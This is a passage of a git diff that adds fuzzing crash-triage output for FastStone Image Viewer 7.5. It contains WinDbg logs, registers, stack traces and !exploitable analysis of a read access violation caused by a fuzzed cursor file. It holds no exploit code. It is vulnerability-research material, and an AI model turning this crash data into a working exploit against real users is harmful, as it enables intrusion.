C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(914.17c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=03ffed2d ecx=07f17b10 edx=00003879 esi=f3e30010 edi=07d22fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.752306050843034720000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.13775e-031 2.61611e-007 2.84328e+022 -7.54824e-031 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ff8130 07f75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0021b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0021b000 1eab8bd1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6297 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0021b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..c5132dc --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x914: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x914: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bc0000 00000000`74be8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bbb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(914.17c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=03ffed2d ecx=07f17b10 edx=00003879 esi=f3e30010 edi=07d22fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.752306050843034720000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.13775e-031 2.61611e-007 2.84328e+022 -7.54824e-031 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ff8130 07f75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0021b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0021b000 1eab8bd1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6297 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0021b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d71d943 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..5c2759d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..9ce4187 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x3F8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x3F8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 